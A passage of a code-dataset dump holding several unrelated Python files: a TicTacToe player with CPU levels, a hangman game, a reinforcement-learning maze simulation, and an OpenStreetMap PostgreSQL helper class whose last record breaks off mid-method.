model_name=\"cir\", theta=0.05, mu=mu, sigma=sigma)\n Heston_euro = StochasticProcess(x0=s0, model_name=\"heston\", theta=0.05, mu=mu, nu0=sigma, kappa=0.3, ksi=0.005)\n VG_euro = StochasticProcess(x0=s0, model_name=\"vg\", theta=0.05, nu=0.01, sigma=sigma)\n\n from raop.utils import logger\n logger.setLevel(\"ERROR\")\n GBM_euro.plot(t=1, n_t=1000, n_var=100, save_path=\"../../outputs/tests_outputs/test_gbm\")\n # ABM_euro.plot(t=5, n_t=1000, n_var=100)\n # OrnUhl_euro.plot(t=5, n_t=1000, n_var=100)\n # MertonJD_euro.plot(t=1, n_t=1000, n_var=20)\n # CIR_euro.plot(t=5, n_t=1000, n_var=500)\n # Heston_euro.plot(t=5, n_t=1000, n_var=100)\n # VG_euro.plot(t=5, n_t=1000, n_var=1000)\n\n","repo_name":"GFaure9/raop","sub_path":"raop/stochastic_processes/stochastic_process.py","file_name":"stochastic_process.py","file_ext":"py","file_size_in_byte":9629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74238946989","text":"# Class Players for TicTacToe\nimport copy\nimport random\n\n\ndef is_int(element: any) -> bool:\n # If you expect None to be passed:\n if element is None:\n return False\n try:\n int(element)\n return True\n except ValueError:\n return False\n\n\nclass Player:\n\n def __init__(self, token, player_name=\"\"):\n self.human = True\n self.symbol = token\n if player_name == \"\":\n self.name = \"Player\"\n else:\n self.name = player_name\n self.name = self.name + ' (' + self.symbol + ')'\n\n def __repr__(self):\n return f\"\"\n\n def select_field(self, game_board):\n while True:\n field_select = input(f\"Select Field {self.name} :\")\n if not is_int(field_select):\n print(\"Input Error! Not a Number!\")\n continue\n field_select = int(field_select) - 1\n if 8 > field_select < 0:\n print(\"Input Error! Only Number 1 to 8 accepted!\")\n continue\n if not game_board.is_field_free(field_select):\n print(\"Input Error! Field is occupied!\")\n continue\n break\n\n return field_select\n\n\nclass AIPlayer(Player):\n\n def __init__(self, token, level):\n self.level = level\n super().__init__(token, f\"CPU Level {self.level}\")\n self.board = None\n self.human = False\n\n def select_field(self, game_board):\n # Create a list of possible moves\n move_choice = None\n free_fields_indices = []\n for i in range(9):\n if game_board.is_field_free(i):\n free_fields_indices.append(i)\n\n if len(free_fields_indices) == 1:\n print(\"AI! Only one choice left!\")\n move_choice = free_fields_indices[0]\n\n # Ab lvl1 Sucht gewinn möglichkeit mit 2er\n if move_choice is None and self.level >= 1:\n temp_free_fields = []\n for field in free_fields_indices:\n temp_board = copy.deepcopy(game_board)\n temp_board.make_turn(self.symbol, field)\n if temp_board.check_win(self.symbol, False):\n temp_free_fields.append(field)\n if len(temp_free_fields) == 1:\n print(\"AI! Found one win chance!\")\n move_choice = temp_free_fields[0]\n elif len(temp_free_fields) > 1:\n print(\"AI! Found more as one win chance!\")\n free_fields_indices = temp_free_fields.copy()\n\n # Ab lvl2 verhindere Gewinn vom Gegner\n if move_choice is None and self.level >= 2:\n for field in free_fields_indices:\n temp_board = copy.deepcopy(game_board)\n temp_board.player_change()\n temp_board.make_turn(temp_board.p_on_move.symbol, field)\n if temp_board.check_win(temp_board.p_on_move.symbol, False):\n print(\"AI! Found opponent win chance!\")\n move_choice = field\n\n # Ab lvl3 Feld gewichtung\n if move_choice is None and self.level >= 3:\n if 4 in free_fields_indices:\n print(\"AI! Center is free!\")\n move_choice = 4\n else:\n intersection = list(set(free_fields_indices) & {0, 2, 6, 8})\n # print(f\"Intersection = {intersection}\")\n if len(intersection) > 0:\n print(\"AI! Free Corner found!\")\n free_fields_indices = intersection.copy()\n\n # lvl0 Zufallszug\n if move_choice is None:\n move_choice = random.choice(free_fields_indices)\n print(\"AI! Made a random choice!\")\n\n print(f\"{self.name} choice: {move_choice+1}\")\n return move_choice\n","repo_name":"holgerhunger/TicTacToe","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72300772272","text":"def main():\n import re\n from random import randrange\n\n list_of_words = ['ASLI','ALMUTH', 'SALVADOR', 'SARRA','HRISTO', 'RASIKA', 'ATTILA', 'ELENI', 'OSVEH', 'PIA', 'ZUBEYDE', 'VICTOR', 'GIAN', 'MOHAMMED']\n word = list_of_words[randrange(len(list_of_words))]\n print('Lets play the hangman!')\n print('You have 5 chances to guess the word\\n Lets start!')\n lngt = len(word)\n hidden = '_'*lngt\n w = 0\n rep = []\n x = 0\n y = 5\n hm_steps = ['________\\n |\\n', '________\\n |\\n O\\n', '________\\n |\\n O\\n | \\n', '________\\n |\\n O\\n /|\\\\ \\n', '________\\n |\\n O\\n /|\\\\ \\n |\\n', '________\\n |\\n O\\n /|\\\\ \\n |\\n / \\\\ \\n']\n sl = ('==============================================') \n\n while x < y and w < lngt: # noticed i left the five instead of putting the y\n print(sl)\n print(f'here is the secret word: ', hidden)\n print(hm_steps[x])\n print('Write a letter or the full \"word\": ')\n guess = input().upper()\n\n if guess == word:\n print(sl)\n print('CONGRATULATIONS! You guessed the word')\n print('The hidden word was: ' + word)\n print(' __ __\\n'+' |__| |__|\\n'+' >\\n' +' : :\\n'+' :....:\\n')\n w = lngt + 1\n restart = input('Do you want to start again? (type yes:) ').lower()\n if restart == 'yes':\n main()\n else:\n exit()\n elif len(guess) > 1:\n print('Only one letter character or full word allowed!')\n\n if guess not in word and x < y:\n x = x + 1\n if not re.match(\"^[A-Z]*$\", guess):\n print('Only letters allowed')\n print('wrong guess now you have '+ str(y-x) + ' chances!\\n')\n\n if guess in rep:\n print('REPEATED LETTER!')\n elif guess in word and len(guess) < 2 and len(guess) > 0:\n w = w + word.count(guess)\n rep.append(guess)\n for nl in range(lngt): #THIS WAS MY HEADACHE for the numer of letters in the range of the lenght of the hidden word\n if word[nl] == guess: #IF a letter in the WORD to guess on that range matches \n hidden = hidden[:nl] + guess + hidden[nl + 1:] # hidden(variable) is changed taking the first characters till the number of the matching letter\n print(f'Correct! The word contains {guess}') #then adding the letter that was introduced and then adding the rest of the characters after the match\n\n if guess not in word and x < y and len(guess) < 2:\n rep.append(guess)\n\n if x == y:\n print(sl)\n print(hm_steps[x])\n print('You lose!')\n print('x x\\n'+' x x\\n'+' x\\n'+' x x\\n'+'x x\\n')\n x = x + 1\n restart = input('Do you want to start again? (type yes:) ').lower()\n if restart == 'yes':\n main()\n else:\n exit()\n \n if w == lngt:\n print(sl)\n print('Congratulations you guessed the word and won the game!')\n print('The hidden word was: ' + word)\n print(' __ __\\n'+' |__| |__|\\n'+' >\\n' +' : :\\n'+' :....:\\n')\n restart = input('Do you want to start again? (type yes:) ').lower()\n if restart == 'yes':\n main()\n else:\n exit()\n\nmain()\n","repo_name":"Chavaraujo/Hangman-project","sub_path":"hngmn.py","file_name":"hngmn.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33411939539","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jun 5 08:52:57 2019\r\n\r\nTheoretical Neuroscience by Peter Dayan and L. F. Abbott\r\n\r\nChapter 9 Classical Conditioning and Reinforcement Learning\r\n\r\n9.4 Sequential Action Choice\r\n\r\nThe following algorithm implements the maze task described in Section 9.4 of\r\nChapter 9 and illustrated in the figure below. In this example, a hungry rat\r\nhas to move through a maze, starting from point A, without retracing its steps.\r\n\r\n0----B----5\r\n | 2----C----0\r\n | |\r\n +------A------+\r\n ^\r\n |\r\n Enter\r\n\r\nThe numbers at the \"terminating\" nodes represent rewards, e.g., pieces of cheddar\r\ncheese ;-).\r\n\r\n@author: Efren A. Serra\r\n\"\"\"\r\n\r\nimport math, pylab\r\nimport random\r\n\r\ndef Kronecker_delta(a, b):\r\n \"\"\"The Kronecker delta function.\r\n \r\n Parameters\r\n ----------\r\n a : integer\r\n b : integer\r\n \"\"\"\r\n res = 0\r\n if a == b:\r\n res = 1\r\n return res\r\n\r\ndef softmax(beta, action, node):\r\n \"\"\"The softmax distribution.\r\n\r\n P[L] = exp(Beta * m_L)/(exp(Beta * m_L) + exp(Beta * m_R))\r\n P[R] = exp(Beta * m_L)/(exp(Beta * m_R) + exp(Beta * m_R))\r\n\r\n Parameters\r\n ----------\r\n beta : float\r\n action : list\r\n node : @Maze_node\r\n\r\n Raises\r\n ------\r\n \"\"\"\r\n\r\n Z = 0.\r\n for a in node.action_values.actions:\r\n Z += math.exp(beta * node.action_values.m[a])\r\n\r\n return math.exp(beta * node.action_values.m[action])/Z\r\n\r\nclass Action_value_vector(object):\r\n \"\"\"The Action_value_vector class.\r\n\r\n Attributes\r\n ----------\r\n actions : list\r\n a list of string to represent actions\r\n\r\n m : dictionary\r\n a dictionary representing the action values vector per action\r\n\r\n Methods\r\n -------\r\n \"\"\"\r\n\r\n def __init__(self, actions, values):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n actions : list\r\n values : list\r\n \r\n Raises\r\n ------\r\n \"\"\"\r\n\r\n self.actions = actions\r\n self.m = dict(map(lambda k,v: (k,v), actions, values))\r\n\r\n empty_values = [[] for n in range(len(actions))]\r\n self.P = dict(map(lambda k,v: (k,v), actions, empty_values))\r\n\r\n def __repr__(self):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n self : object\r\n \r\n Raises\r\n ------\r\n \"\"\"\r\n return \"\"%(self.m)\r\n\r\nbeta = 1.0\r\nepsilon = 0.5\r\n\r\n\"\"\"\r\nThe Maze_node class:\r\n\"\"\"\r\nclass Maze_node(object):\r\n def __init__(self, name, reward_vector, action_values, is_absorbing=False):\r\n self.name = name\r\n self.reward_vector = reward_vector\r\n self.action_values = action_values\r\n self.is_absorbing = is_absorbing\r\n\r\n \"\"\" The predicted future reward: v(u) = w(u) \"\"\"\r\n self.weight = 0.\r\n self.weight_history = []\r\n\r\n self.left_node = None\r\n self.right_node = None\r\n\r\n def __repr__(self):\r\n return \"\"%(self.name, self.weight, self.action_values)\r\n\r\n def immediate_reward(self, action):\r\n if action == 'L':\r\n r = self.reward_vector[0]\r\n\r\n if action == 'R':\r\n r = self.reward_vector[1]\r\n\r\n return r\r\n\r\n def modify_weight(self, action):\r\n r = self.immediate_reward(action)\r\n v_at_u = self.weight\r\n v_at_u_prime = 0.\r\n\r\n if action == 'L' and self.left_node:\r\n v_at_u_prime = self.left_node.weight\r\n\r\n if action == 'R' and self.right_node:\r\n v_at_u_prime = self.right_node.weight\r\n\r\n delta = r + (v_at_u_prime - v_at_u)\r\n\r\n self.weight = self.weight + epsilon * delta\r\n self.weight_history.append(self.weight)\r\n\r\n print(self)\r\n\r\n def modify_action_values(self, action):\r\n r = self.immediate_reward(action)\r\n v_at_u = self.weight\r\n v_at_u_prime = 0.\r\n\r\n if action == 'L' and self.left_node:\r\n v_at_u_prime = self.left_node.weight\r\n\r\n if action == 'R' and self.right_node:\r\n v_at_u_prime = self.right_node.weight\r\n\r\n delta = r + (v_at_u_prime - v_at_u)\r\n\r\n \"\"\" Policy improvement or actor learning rule \"\"\"\r\n for a in self.action_values.actions:\r\n self.action_values.m[a] = \\\r\n self.action_values.m[a] + \\\r\n epsilon * (Kronecker_delta(action, a) - softmax(beta, a, self)) * delta\r\n self.action_values.P[a].append(softmax(beta, a, self))\r\n\r\n print(self)\r\n\r\n def next_location(self, action):\r\n if action == 'L':\r\n node = self.left_node\r\n if action == 'R':\r\n node = self.right_node\r\n\r\n return node\r\n\r\n\"\"\"\r\nThe Maze class:\r\n\"\"\"\r\nclass Maze(object):\r\n def __init__(self, start_location, end_locations):\r\n self.start_location = start_location\r\n self.end_locations = end_locations\r\n\r\n def policy_evaluation(self, max_trials):\r\n n = 0\r\n while n < max_trials:\r\n node = self.start_location\r\n action = random.choice(['R', 'L'])\r\n node.modify_weight(action)\r\n node = node.next_location(action)\r\n while not node.is_absorbing:\r\n action = random.choice(['L', 'R'])\r\n node.modify_weight(action)\r\n node = node.next_location(action)\r\n n += 1\r\n\r\n def policy_improvement(self, max_trials):\r\n n = 0\r\n while n < max_trials:\r\n node = self.start_location\r\n action = random.choice(['R', 'L'])\r\n node.modify_action_values(action)\r\n node = node.next_location(action)\r\n while not node.is_absorbing:\r\n action = random.choice(['L', 'R'])\r\n node.modify_action_values(action)\r\n node = node.next_location(action)\r\n n += 1\r\n\r\n\r\ndef main():\r\n n_trials = 50\r\n maze = Maze(start_location=Maze_node('A', [0., 0.],\r\n action_values=Action_value_vector(\r\n actions=['L', 'R'],\r\n values=[0., 0.],)), end_locations=[Maze_node('B',\r\n [0., 5.], action_values=Action_value_vector(\r\n actions=['L', 'R'],\r\n values=[0., 0.],)),\r\n Maze_node('C', [2., 0.], action_values=Action_value_vector(\r\n actions=['L', 'R'],\r\n values=[0., 0.],)),],)\r\n\r\n maze.start_location.left_node = maze.end_locations[0]\r\n maze.start_location.right_node = maze.end_locations[1]\r\n for node in maze.end_locations:\r\n node.left_node = Maze_node('', [0., 0.],\r\n action_values=None,\r\n is_absorbing=True)\r\n node.right_node = Maze_node('', [0., 0.],\r\n action_values=None,\r\n is_absorbing=True)\r\n\r\n maze.policy_evaluation(n_trials)\r\n\r\n pylab.figure(1)\r\n pylab.plot(maze.start_location.weight_history[:30])\r\n pylab.plot(maze.end_locations[0].weight_history[:30])\r\n pylab.plot(maze.end_locations[1].weight_history[:30])\r\n pylab.ylim(0., 5.)\r\n pylab.legend(('w(A)','w(B)','w(C)',), loc='upper right')\r\n\r\n maze.policy_improvement(2*n_trials)\r\n\r\n pylab.figure(2)\r\n pylab.plot(maze.start_location.action_values.P['L'][:])\r\n pylab.plot(maze.end_locations[0].action_values.P['L'][:])\r\n pylab.plot(maze.end_locations[1].action_values.P['L'][:])\r\n pylab.ylim(0., 1.0)\r\n pylab.legend(('P[L; u = A]','P[L; u = B]','P[L; u = C]',), loc='upper right')\r\n\r\n pylab.figure(3)\r\n pylab.plot(maze.start_location.action_values.P['R'][:])\r\n pylab.plot(maze.end_locations[0].action_values.P['R'][:])\r\n pylab.plot(maze.end_locations[1].action_values.P['R'][:])\r\n pylab.ylim(0., 1.0)\r\n pylab.legend(('P[R; u = A]','P[R; u = B]','P[R; u = C]',), loc='upper right')\r\n\r\n\"\"\"\r\nThe main entry point\r\n\"\"\"\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"efrenaserra/theoreticalneuroscience","sub_path":"seq_action_choice.py","file_name":"seq_action_choice.py","file_ext":"py","file_size_in_byte":8285,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"34842650910","text":"import pg8000\nimport time\nimport pdb\n\n\ndef get_travel_period_code(travel_period):\n if travel_period == \"Weekday\":\n return 0\n return 1\n\n\ndef get_travel_method_code(travel_method):\n if travel_method == \"Walking\":\n return 0\n if travel_method == \"Bicycle\":\n return 1\n return 2\n\n\nFIELDS_SESSION_USER = [\"rs_sessionuser.id\",\n \"rs_sessionuser.user_id\",\n \"session_id\",\n \"join_time\",\n \"origin\",\n \"destination\",\n \"activity\",\n \"ready_to_travel\",\n \"longitude\",\n \"latitude\"]\n\n\ndef map_record_session_user(record):\n map_ = {field: record[i] for i, field in enumerate(FIELDS_SESSION_USER) if not field.startswith(\"rs_sessionuser.\")}\n map_[\"id\"] = record[0]\n map_[\"user_id\"] = record[1]\n return map_\n\n\nclass OsmDBManager:\n def __init__(self, user, password, database, host):\n self.__conn = pg8000.connect(user=user, password=password, database=database, host=host)\n self.__cursor = self.__conn.cursor()\n\n def get_inc_nodes_by_type(self, target_table, key_, value_):\n\n statement = \"SELECT DISTINCT way_nodes.node_id \" \\\n \"FROM way_nodes \" \\\n \"INNER JOIN\" \\\n \" ( \" \\\n \" SELECT node_id \" \\\n \" FROM way_nodes \" \\\n \" INNER JOIN way_tags \" \\\n \" ON way_nodes.way_id = way_tags.way_id \" \\\n \" WHERE way_tags.key = %s \" \\\n \" AND way_tags.value = %s \" \\\n \" AND way_nodes.way_id IN \" \\\n \" ( \" \\\n \" SELECT way_id \" \\\n \" FROM way_nodes \" \\\n \" WHERE node_id IN \" \\\n \" ( \" \\\n \" SELECT node_id \" \\\n \" FROM way_nodes \" \\\n \" INNER JOIN way_tags \" \\\n \" ON way_nodes.way_id = way_tags.way_id \" \\\n \" AND way_tags.key = 'highway' \" \\\n \" AND way_tags.value IN \" \\\n \" ( \" \\\n \" 'motorway', \" \\\n \" 'trunk', \" \\\n \" 'primary', \" \\\n \" 'secondary', \" \\\n \" 'tertiary', \" \\\n \" 'service', \" \\\n \" 'residential', \" \\\n \" 'living_street', \" \\\n \" 'motorway_link', \" \\\n \" 'trunk_link', \" \\\n \" 'primary_link', \" \\\n \" 'secondary_link', \" \\\n \" 'tertiary_link', \" \\\n \" 'unclassified' \" \\\n \" ) \" \\\n \" GROUP BY node_id \" \\\n \" HAVING COUNT(*) >= 2 \" \\\n \" ) \" \\\n \" ) \" \\\n \" UNION \" \\\n \" SELECT node_id \" \\\n \" FROM node_tags \" \\\n \" WHERE node_tags.key = %s \" \\\n \" AND node_tags.value = %s \" \\\n \" ) special_nodes \" \\\n \"ON way_nodes.node_id = special_nodes.node_id \" \\\n \"AND way_nodes.node_id NOT IN (SELECT node_id FROM \" + target_table + \")\"\n\n self.__cursor.execute(statement, (key_, value_, key_, value_))\n return self.__cursor.fetchall()\n\n def save_hotspots(self, hotspots):\n for h in hotspots:\n self.__cursor.execute(\"INSERT INTO hotspots (node_id, hotspot_type) VALUES (%s, %s)\", (h[0], h[1]))\n\n def copy_hotspots_by_type(self, key_, value_):\n # BEFORE HAVE A LOOK AT C:\\Users\\oscarcg\\Dropbox\\Education\\Unimelb PhD\\datasets\\OSM utils\\Get hotspots.sql\n hotspots = self.get_inc_nodes_by_type(\"hotspots\", key_, value_)\n hotspots_w_type = [[h[0], key_ + \":\" + value_] for h in hotspots]\n self.save_hotspots(hotspots_w_type)\n self.__conn.commit()\n\n def save_pois(self, pois):\n for p in pois:\n self.__cursor.execute(\"INSERT INTO pois (actual_node_id, node_id, poi_type) VALUES (%s, %s, %s)\",\n (p[0], p[0], p[1]))\n\n def copy_pois_by_type(self, key_, value_):\n\n pois = self.get_inc_nodes_by_type(\"pois\", key_, value_)\n pois_w_type = [[p[0], key_ + \":\" + value_] for p in pois]\n self.save_pois(pois_w_type)\n self.__conn.commit()\n\n '''\n Get nodes that belong to different types of [highway].\n '''\n\n def get_highway_nodes(self):\n\n statement = \"SELECT node_id \" \\\n \"FROM way_nodes \" \\\n \"INNER JOIN way_tags \" \\\n \"ON way_nodes.way_id = way_tags.way_id \" \\\n \"AND way_tags.key = 'highway' \" \\\n \"AND way_tags.value IN \" \\\n \" ( \" \\\n \" 'motorway', \" \\\n \" 'trunk', \" \\\n \" 'primary', \" \\\n \" 'secondary', \" \\\n \" 'tertiary', \" \\\n \" 'service', \" \\\n \" 'residential', \" \\\n \" 'living_street', \" \\\n \" 'motorway_link', \" \\\n \" 'trunk_link', \" \\\n \" 'primary_link', \" \\\n \" 'secondary_link', \" \\\n \" 'tertiary_link', \" \\\n \" 'unclassified' \" \\\n \" ) \" \\\n \"AND way_nodes.node_id NOT IN (SELECT node_id FROM highway_nodes) \" \\\n \"GROUP BY node_id \" \\\n \"HAVING COUNT(*) >= 2\"\n\n self.__cursor.execute(statement)\n return self.__cursor.fetchall()\n\n def save_highway_nodes(self, highway_nodes):\n for h in highway_nodes:\n self.__cursor.execute(\"INSERT INTO highway_nodes (node_id) VALUES (%s)\", (h))\n\n def copy_highway_nodes(self):\n highway_nodes = self.get_highway_nodes()\n self.save_highway_nodes(highway_nodes)\n self.__conn.commit()\n\n def get_departure_hours(self, file_):\n statement = 'SELECT DISTINCT \"DEPHOUR\" ' \\\n 'FROM \"' + file_ + '\" ' \\\n 'WHERE \"TRAVELPERIOD\" = 0 ' \\\n 'AND \"TRAVELMETHOD\" = 2 ' \\\n 'ORDER BY ' \\\n ' \"DEPHOUR\"'\n self.__cursor.execute(statement)\n results = self.__cursor.fetchall()\n return [r[0] for r in results]\n\n def get_dest_activities(self, file_, dh):\n statement = 'SELECT DISTINCT \"DESTPLACE2\", ' \\\n ' \"desc\" ' \\\n 'FROM \"' + file_ + '\" ' \\\n 'INNER JOIN ' \\\n ' \"VistaPoiTypes\" ' \\\n 'ON \"' + file_ + '\".\"DESTPLACE2\" = \"VistaPoiTypes\".code ' \\\n 'WHERE \"DEPHOUR\" = ' + str(dh) + ' ' \\\n 'AND \"TRAVELPERIOD\" = 0 ' \\\n 'AND \"TRAVELMETHOD\" = 2 ' \\\n 'ORDER BY ' \\\n ' \"desc\"'\n self.__cursor.execute(statement)\n results = self.__cursor.fetchall()\n return [(r[0], r[1]) for r in results]\n\n def get_mapped_osm_act(self, act):\n statement = \"SELECT DISTINCT osm_poi_type FROM mapping_vista_osm_poi_types WHERE vista_code = \" + str(act)\n self.__cursor.execute(statement)\n results = self.__cursor.fetchall()\n return [r[0] for r in results]\n\n def get_people(self, file_, dh, act):\n # Only TRAVELPERIOD = \"Weekday\" and TRAVELMETHOD = \"Vehicle Driver\"\n statement = 'SELECT DISTINCT \"ORIG_SA1\", ' \\\n ' \"PERSID\" ' \\\n 'FROM \"' + file_ + '\" ' \\\n 'WHERE \"DEPHOUR\" = %s ' \\\n 'AND \"DESTPLACE2\" = %s ' \\\n 'AND \"TRAVELPERIOD\" = 0 ' \\\n 'AND \"TRAVELMETHOD\" = 2'\n self.__cursor.execute(statement, (dh, act))\n results = self.__cursor.fetchall()\n return [(r[0], r[1]) for r in results]\n\n def get_sa1_codes(self, sa3_code11):\n statement = \"SELECT sa2_5dig11, sa1_7dig11 FROM sa1_2011_aust WHERE sa3_code11 = '\" + str(sa3_code11) + \"'\"\n self.__cursor.execute(statement)\n return self.__cursor.fetchall()\n\n def get_sa2_codes(self, sa3_code11):\n statement = \"SELECT DISTINCT sa2_5dig11 FROM sa1_2011_aust WHERE sa3_code11 = '\" + str(sa3_code11) + \"'\"\n self.__cursor.execute(statement)\n return self.__cursor.fetchall()\n\n def get_sa3_codes(self, file_):\n statement = 'SELECT DISTINCT sa3_code11 ' \\\n 'FROM \"' + file_ + '\" ' \\\n 'INNER JOIN ' \\\n ' sa1_2011_aust ' \\\n 'ON \"' + file_ + '\".\"ORIG_SA1\" = sa1_2011_aust.sa1_7dig11'\n self.__cursor.execute(statement)\n results = self.__cursor.fetchall()\n return [r[0] for r in results]\n\n # def get_graph_nodes_for_file(self, file_, act, get_hotspots, get_pois):\n # return self.get_graph_nodes({\"sa3\": file_, \"activity\": act}, get_hotspots, get_pois)\n\n # def get_graph_nodes_for_bbox(self, min_lon, min_lat, max_lon, max_lat, get_hotspots, get_pois, poi_names=None):\n # kargs = {\"bbox\": (min_lon, min_lat, max_lon, max_lat)}\n # if poi_names is not None:\n # kargs[\"poi_names\"] = poi_names\n # return self.get_graph_nodes(kargs, get_hotspots, get_pois)\n\n def get_graph_nodes(self, kargs, get_hotspots=True, get_pois=True):\n # Are hot-spots to be included?\n hotspots_stmt = \"\"\n if get_hotspots:\n hotspots_stmt = \"UNION SELECT node_id, 'hotspot' p, '' t, '' poi_name FROM hotspots\"\n # Are POIs to be included?\n pois_stmt = \"\"\n if get_pois:\n pois_stmt = \"UNION SELECT node_id, 'poi' p, poi_type t, poi_name FROM pois \"\n # Are filtered by activity?\n if \"activity\" in kargs:\n act = kargs[\"activity\"]\n # Retrieve OSM activities mapped to activity sent as parameter.\n poi_types = self.get_mapped_osm_act(act)\n poi_types_s = \"(\"\n for pt in poi_types:\n poi_types_s += \"'\" + pt + \"',\"\n poi_types_s = poi_types_s[:-1] + \")\"\n # Augment filter statement.\n pois_stmt += \" WHERE poi_type IN \" + poi_types_s\n # Are filtered by name?\n if \"poi_names\" in kargs:\n poi_names = kargs[\"poi_names\"]\n poi_names_s = \"(\"\n poi_names_s += \", \".join([\"'\" + poi_name + \"'\" for poi_name in poi_names])\n poi_names_s += \")\"\n # Augment filter statement.\n pois_stmt += \" WHERE poi_name IN \" + poi_names_s\n # --------------------------------------------------------------------------------------------------------------\n # SQL statement to retrieve info needed to build graph.\n # --------------------------------------------------------------------------------------------------------------\n # SELECT\n # ------\n statement = \"SELECT way_nodes.way_id, \" \\\n \" way_nodes.node_id, \" \\\n \" way_nodes.ord, \" \\\n \" filtered_nodes.p, \" \\\n \" filtered_nodes.t, \" \\\n \" filtered_nodes.poi_name, \" \\\n \" nodes.latitude, \" \\\n \" nodes.longitude, \" \\\n \" sa1_2011_aust.sa1_7dig11, \" \\\n \" sa1_2011_aust.sa2_5dig11, \" \\\n \" ( \" \\\n \" SELECT way_tags.value \" \\\n \" FROM way_tags \" \\\n \" WHERE way_tags.way_id = way_nodes.way_id \" \\\n \" AND key = 'highway' \" \\\n \" ) hw_type \" \\\n \"FROM way_nodes \" \\\n \"INNER JOIN \" \\\n \" ( \" \\\n \" SELECT node_id, '' p, '' t, '' poi_name \" \\\n \" FROM highway_nodes \" + hotspots_stmt + \" \" + pois_stmt + \" \" \\\n \" ) filtered_nodes \" \\\n \"ON way_nodes.node_id = filtered_nodes.node_id \" \\\n \"INNER JOIN \" \\\n \" nodes \" \\\n \"ON\t\tfiltered_nodes.node_id = nodes.node_id\"\n # -----\n # WHERE\n # -----\n where = \"WHERE\"\n # Filter by Australian political division (SA3 codes)?\n if \"sa3\" in kargs:\n sa3 = kargs[\"sa3\"]\n sa3_codes = self.get_sa3_codes(sa3)\n sa3_codes_s = \"(\"\n for sa3_code in sa3_codes:\n sa3_codes_s += \"'\" + sa3_code + \"',\"\n sa3_codes_s = sa3_codes_s[:-1] + \")\"\n statement += \" INNER JOIN sa1_2011_aust \" \\\n \" ON ST_Intersects(nodes.geom, sa1_2011_aust.geom) \" \\\n \" WHERE sa1_2011_aust.sa3_code11 IN \" + sa3_codes_s\n where = \"AND\"\n else:\n statement += \" LEFT JOIN sa1_2011_aust\" \\\n \" ON ST_Intersects(nodes.geom, sa1_2011_aust.geom)\"\n # Filter nodes by bounding box\n if \"bbox\" in kargs:\n bbox = kargs[\"bbox\"]\n min_lon = bbox[0]\n min_lat = bbox[1]\n max_lon = bbox[2]\n max_lat = bbox[3]\n statement += where + \" nodes.geom && ST_MakeEnvelope(\" + \\\n str(min_lon) + \", \" + \\\n str(min_lat) + \", \" + \\\n str(max_lon) + \", \" + \\\n str(max_lat) + \", 4326)\"\n # where = \"AND\"\n # --------\n # ORDER BY\n # --------\n statement += \" ORDER BY \" \\\n \" way_nodes.way_id, \" \\\n \" way_nodes.ord\"\n # Execute query.\n self.__cursor.execute(statement)\n return self.__cursor.fetchall()\n\n def get_statistics(self, sa3_code11):\n statement = 'SELECT dephour, ' \\\n ' travel_day, ' \\\n ' method_travel, ' \\\n ' destplace, ' \\\n ' num_trips_trunc ' \\\n 'FROM \"VistaStats\" ' \\\n 'WHERE sa3_code11 = %s'\n self.__cursor.execute(statement, (sa3_code11))\n return self.__cursor.fetchall()\n\n def get_population_stats(self, sa3_code11):\n statement = 'SELECT sa2_5dig11, est_pop FROM \"PopulationStats\" WHERE sa3_code11 = ' + str(sa3_code11)\n self.__cursor.execute(statement)\n return self.__cursor.fetchall()\n\n def save_samples(self, samples, sample_table):\n for sample in samples:\n sa1_code = sample[0]\n da = sample[1]\n dh = sample[2]\n td = get_travel_period_code(sample[3])\n mt = get_travel_method_code(sample[4])\n statement = 'INSERT INTO ' + sample_table + ' ' \\\n '(\"ORIG_SA1\", \"DESTPLACE2\", \"DEPHOUR\", \"TRAVELPERIOD\", \"TRAVELMETHOD\") ' \\\n 'VALUES(%s, %s, %s, %s, %s)'\n self.__cursor.execute(statement, (str(sa1_code), da, dh, td, mt))\n self.__conn.commit()\n\n def save_experiment(self, experiment, save_details=True):\n stmt_1 = \"INSERT INTO experiments (sa3_code11, dh, act, cost, gr, avg_dr, nt, avg_or, et, h, t, p, n, id, alg) \" \\\n \"VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n stmt_2 = \"INSERT INTO experiment_details (id, alg, node_id, node_type) VALUES (%s, %s, %s, %s)\"\n id_ = int(round(time.time() * 1000))\n for alg, (values, hs) in experiment.iteritems():\n values.extend([id_, alg])\n self.__cursor.execute(stmt_1, tuple(values))\n if not save_details:\n continue\n for h in hs:\n self.__cursor.execute(stmt_2, (id_, alg, h, 'hotspot'))\n self.__conn.commit()\n\n def get_knn(self, session_id, lon, lat, k, min_dist=None):\n\n where_stmt = \"\"\n\n if min_dist:\n where_stmt = \"WHERE ST_Distance(geom, 'SRID=4326;POINT(\" + str(lon) + \" \" + str(lat) + \")'::geometry) >= \" \\\n + str(min_dist / 111111.)\n\n stmt = \"SELECT node_id, \" \\\n \" latitude, \" \\\n \" longitude, \" \\\n \" ST_Distance(geom, 'SRID=4326;POINT(\" + str(lon) + \" \" + str(lat) + \")'::geometry) distance \" \\\n \"FROM graph_nodes_2 \" \\\n \"INNER JOIN \" \\\n \" rs_sessiongraphnode \" \\\n \"ON graph_nodes_2.node_id = rs_sessiongraphnode.node \" \\\n \"AND rs_sessiongraphnode.session_id = %s \" + where_stmt + \" \" \\\n \"ORDER BY \" \\\n \" geom <-> 'SRID=4326;POINT(\" + str(lon) + \" \" + str(lat) + \")'::geometry limit \" + str(k)\n\n self.__cursor.execute(stmt, (session_id,))\n queryset = self.__cursor.fetchall()\n\n return [{\"node\": node[0], \"latitude\": node[1], \"longitude\": node[2], \"distance\": node[3]} for node in queryset]\n\n def get_coordinates(self, node):\n stmt = \"SELECT longitude, \" \\\n \" latitude \" \\\n \"FROM nodes \" \\\n \"WHERE node_id = %s\"\n self.__cursor.execute(stmt, (node,))\n record = 